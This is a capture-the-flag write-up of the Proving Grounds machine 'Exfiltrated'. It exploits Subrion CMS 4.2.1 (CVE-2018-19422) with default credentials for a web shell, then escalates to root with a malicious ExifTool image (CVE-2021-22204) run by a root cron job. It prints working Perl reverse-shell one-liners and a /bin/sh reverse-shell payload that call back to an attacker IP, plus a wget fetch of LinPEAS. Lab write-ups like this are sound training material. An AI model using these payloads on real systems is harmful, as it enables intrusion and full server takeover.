Initial Reconnaissance
To kick things off, we perform a basic port scan using rustscan
against the target IP 192.168.178.163
. This quickly highlights which services are accessible:
rustscan -a 192.168.178.163
Scan output:
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
We see that both SSH (22) and HTTP (80) ports are open. To dig a bit deeper, we follow up with nmap
for detailed service enumeration:
sudo nmap -Pn -n $IP -sC -sV -p- --open -v
Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA)
| 256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA)
|_ 256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-robots.txt: 7 disallowed entries
| /backup/ /cron/? /front/ /install/ /panel/ /tmp/
|_/updates/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://exfiltrated.offsec/
|_http-favicon: Unknown favicon MD5: 09BDDB30D6AE11E854BFF82ED638542B
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
This confirms that the web server is running Apache and redirects traffic to a virtual hostname: exfiltrated.offsec
. To browse this site, we’ll need to tell our system where to find it.
Hostname Mapping
Edit the /etc/hosts
file to map the domain to the local IP:
sudo nano /etc/hosts
Add:
192.168.178.163 exfiltrated.offsec
This step ensures your browser can resolve exfiltrated.offsec
correctly.
Logging In – Subrion CMS
Visiting the web page now shows a login form. Trying out default credentials admin:admin
lets us in – a common misconfiguration in real-world setups.

We also find an "Admin Dashboard" link which takes us to a Subrion CMS backend. The footer reveals the version: Subrion CMS 4.2.1.

Vulnerability Hunting – CVE-2018-19422
Doing a bit of research on this CMS version uncovers an exploit for CVE-2018-19422. It allows unauthenticated file uploads via a path traversal vulnerability.
We confirm its existence in searchsploit
:
searchsploit subrion
searchsploit -m 49876

We then run the exploit, passing in the login credentials and URL:
python3 49876.py -u http://exfiltrated.offsec/panel/ -l admin -p admin
┌──(kali㉿kali)-[~]
└─$ python3 49876.py -u http://exfiltrated.offsec/panel/ -l admin -p admin
[+] SubrionCMS 4.2.1 - File Upload Bypass to RCE - CVE-2018-19422
[+] Trying to connect to: http://exfiltrated.offsec/panel/
[+] Success!
[+] Got CSRF token: Nah8rMkdfrHutFDxCwJDO7jg2kYAX5zswt0XkBzq
[+] Trying to log in...
[+] Login Successful!
[+] Generating random name for Webshell...
[+] Generated webshell name: usgixmifkddckid
[+] Trying to Upload Webshell..
[+] Upload Success... Webshell path: http://exfiltrated.offsec/panel/uploads/usgixmifkddckid.phar
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
This exploit uploads a web shell disguised as a .phar
file and gives us remote code execution under the www-data
user.
Getting a Stable Shell
The initial shell is quite limited, so we check for perl
on the target:
$ which perl
/usr/bin/perl
Using the Reverse Shell Generator, we generate Perl reverse shell:

Set up the listener on Kali machine:
sudo rlwrap nc -lnvp 4444
Trigger reverse shell on target machineL
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.45.199:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
We successfully catch a reverse shell:
└─$ sudo rlwrap nc -lnvp 4444
listening on [any] 4444 ...
connect to [192.168.45.199] from (UNKNOWN) [192.168.178.163] 37138
Stablise the reverse shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'; export TERM=xterm-256color
Enumeration – LinPEAS and Cron Jobs
To find paths to privilege escalation, we download and run LinPEAS:
wget http://192.168.45.199/linpeas.sh -O linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
Notable Findings:
- The system is vulnerable to CVE-2021-3560 – a polkit privilege escalation bug.
- A suspicious cron job is set to run every minute as root, executing
/opt/image-exif.sh
.


Analysing image-exif.sh
This script scans .jpg
files in the CMS’s upload directory and extracts metadata using exiftool
.
Script content:
#! /bin/bash
#07/06/18 A BASH script to collect EXIF metadata
echo -ne "\\n metadata directory cleaned! \\n\\n"
IMAGES='/var/www/html/subrion/uploads'
META='/opt/metadata'
FILE=`openssl rand -hex 5`
LOGFILE="$META/$FILE"
echo -ne "\\n Processing EXIF metadata now... \\n\\n"
ls $IMAGES | grep "jpg" | while read filename;
do
exiftool "$IMAGES/$filename" >> $LOGFILE
done
echo -ne "\\n\\n Processing is finished! \\n\\n\\n"
This suggests a potential injection point: if exiftool
processes a malicious .jpg
file, we could achieve command execution as root.
Exploiting ExifTool – CVE-2021-22204
After looking into potential exploits for ExifTool, I came across this one: https://www.exploit-db.com/exploits/50911, which links to the GitHub repository at https://github.com/UNICORDev/exploit-CVE-2021-22204. This vulnerability lets us craft a malicious image that triggers remote code execution when processed by exiftool
.
Clone the PoC:
git clone https://github.com/UNICORDev/exploit-CVE-2021-22204.git
cd exploit-CVE-2021-22204
Generate a payload that connects back to our listener. This creates a malicious image.jpg
.
python3 exploit-CVE-2021-22204.py -s 192.168.45.199 135
┌──(kali㉿kali)-[~/Tools/exploit-CVE-2021-22204]
└─$ python3 exploit-CVE-2021-22204.py -s 192.168.45.199 135
/home/kali/Tools/exploit-CVE-2021-22204/exploit-CVE-2021-22204.py:89: SyntaxWarning: invalid escape sequence '\c'
payload = "(metadata \"\c${"
_ __,~~~/_ __ ___ _______________ ___ ___
,~~`( )_( )-\| / / / / |/ / _/ ___/ __ \/ _ \/ _ \
|/| `--. / /_/ / // // /__/ /_/ / , _/ // /
_V__v___!_!__!_____V____\____/_/|_/___/\___/\____/_/|_/____/....
UNICORD: Exploit for CVE-2021-22204 (ExifTool) - Arbitrary Code Execution
PAYLOAD: (metadata "\c${use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in(135,inet_aton('192.168.45.199')))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};};")
DEPENDS: Dependencies for exploit are met!
PREPARE: Payload written to file!
PREPARE: Payload file compressed!
PREPARE: DjVu file created!
PREPARE: JPEG image created/processed!
PREPARE: Exiftool config written to file!
EXPLOIT: Payload injected into image!
CLEANUP: Old file artifacts deleted!
SUCCESS: Exploit image written to "image.jpg"

Set up a listener on port 135 on Kali machine:
sudo rlwrap nc -nvlp 135
After generating the image.jpg
file, we transfer it using a Python web server. In my case, the Python server is already running from the ~/Tools
directory.
┌──(kali㉿kali)-[~/Tools]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
┌──(kali㉿kali)-[~/Tools/exploit-CVE-2021-22204]
└─$ cp image.jpg ~/Tools/images.jpg
www-data@exfiltrated:/var/www/html/subrion/uploads$ wget http://192.168.45.199/images.jpg -O images.jpg
<wget http://192.168.45.199/images.jpg -O images.jpg
--2025-04-06 22:47:05-- http://192.168.45.199/images.jpg
Connecting to 192.168.45.199:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 457 [image/jpeg]
Saving to: ‘images.jpg’
images.jpg 100%[===================>] 457 --.-KB/s in 0s
2025-04-06 22:47:05 (115 MB/s) - ‘images.jpg’ saved [457/457]
Root Shell Gained
After waiting a minute for the cron to trigger the script, our listener catches a reverse shell — this time as root!
└─$ sudo rlwrap nc -nvlp 135
[sudo] password for kali:
listening on [any] 135 ...
connect to [192.168.45.199] from (UNKNOWN) [192.168.178.163] 41778
/bin/sh: 0: can't access tty; job control turned off
# # id
uid=0(root) gid=0(root) groups=0(root)
# python3 -c 'import pty;pty.spawn("/bin/bash")'; export TERM=xterm-256color
root@exfiltrated:~#
The flags local.txt can be found in /home/coaran and proof.txt can be found in /root
root@exfiltrated:/home/coaran# ls
ls
local.txt
root@exfiltrated:/home/coaran# cat local.txt
cat local.txt
86d0388ccf49e4f59791c22a8de1aa6a
root@exfiltrated:/home/coaran# ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
3: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:50:56:ab:69:6a brd ff:ff:ff:ff:ff:ff
inet 192.168.178.163/24 brd 192.168.178.255 scope global ens160
valid_lft forever preferred_lft forever
root@exfiltrated:/home/coaran# cd /root
cd /root
root@exfiltrated:~# ls
ls
proof.txt snap
root@exfiltrated:~# cat proof.txt
cat proof.txt
4bd61134140ad1d2673238e54ff7a7c9
root@exfiltrated:~# ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
3: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:50:56:ab:69:6a brd ff:ff:ff:ff:ff:ff
inet 192.168.178.163/24 brd 192.168.178.255 scope global ens160
valid_lft forever preferred_lft forever

Summary
Exfiltrated is a Proving Grounds Practice machine where we exploit a vulnerable instance of Subrion CMS 4.2.1 to gain initial access via a file upload bypass (CVE-2018-19422). After establishing a limited web shell, we upgrade to a stable reverse shell using Perl. For privilege escalation, we take advantage of a cron job that runs exiftool
on uploaded images. By crafting a malicious image that exploits CVE-2021-22204, we trigger a reverse shell as root and retrieve both the user and root flags.